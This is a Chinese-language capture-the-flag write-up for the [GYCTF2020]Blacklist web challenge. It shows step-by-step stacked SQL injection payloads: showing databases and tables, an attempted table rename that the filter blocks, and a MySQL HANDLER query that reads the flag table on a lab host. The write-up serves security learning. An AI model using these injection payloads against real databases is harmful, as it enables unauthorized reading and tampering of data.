当前位置: 首页 > article >正文

练习8 Web [GYCTF2020]Blacklist

这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法
查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)

是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中

先输入一些常规数字或者字母字符
返回值:

  • 数字:1
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
  • 数字:2
 array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

其他字符均没有返回值

在这里插入图片描述
尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了
在这里插入图片描述

在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了“堆叠注入”

堆叠注入详解

堆叠注入是用 ; 分隔开的多行sql语句

?inject=2';show databases;#

得到以下内容
在这里插入图片描述

继续 show tables
找到一个“FlagHere”表
在这里插入图片描述
查找“FlagHere”下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)
应该是要想办法打印出来
在这里插入图片描述
到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的

查找“words”下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的“一个数字+一个字符串”的格式

再下一步的思路是既然默认查询到的是显示“word”这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了

在这里插入图片描述

依次将words表改名为noWords
FlagHere改名为words
然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应

?inject=2';
rename table `words` to `noWords`; 
rename table `FlagHere` to `words`alter table `words` change `flag`  `id` varchar(100);#

提交发现alter也被过滤了,服了

直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)

又是新东西

Handler语法

handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

> 1HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

> 3HANDLER tbl_name CLOSE

关闭打开的句柄。

> 4HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

直接用handler语法打印之前查到的FlagHere表,输出内容就行
http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
在这里插入图片描述


http://www.kler.cn/a/272124.html

相关文章:

  • JavaScript笔记基础篇03——函数
  • manim(manimgl)安装教学-win11(2024-08)
  • Android SystemUI——CarSystemBar车载状态栏(九)
  • 【知识分享】PCIe5.0 TxRx 电气设计参数汇总
  • ElasticSearch索引别名的应用
  • 人工智能领域单词:英文解释
  • 爬虫(六)
  • 不锈钢多功能电工剥线钳分线绕线剪线剥线钳剥线压线扒皮钳子
  • MC78L05ACDR2G线性稳压器芯片中文资料规格书PDF数据手册引脚图参数图片价格
  • C# event的使用
  • WEB前端作业一
  • Linux - tmux命令
  • 高性能计算——流水线的危害
  • 封装Axios
  • MySQL的启停登陆与退出
  • Ubuntu系统Psi4 使用conda安装及编译安装
  • 前端基础——HTML傻瓜式入门(2)
  • 使用verilog编写一个猜数游戏设计及其testbench
  • vue框架渲染原理
  • 软考78-上午题-【面向对象技术3-设计模式】-结构型设计模式01
  • 进程学习--02
  • Vue2前端权限控制实战
  • reverse_iterator实现
  • cesium.js加载模型后,重新设置旋转角度属性值
  • 管理类联考–复试–英文面试–问题--规划介绍原因做法
  • FFmpeg查看所有支持的编码/解码器/封装/解封装/媒体格式/滤镜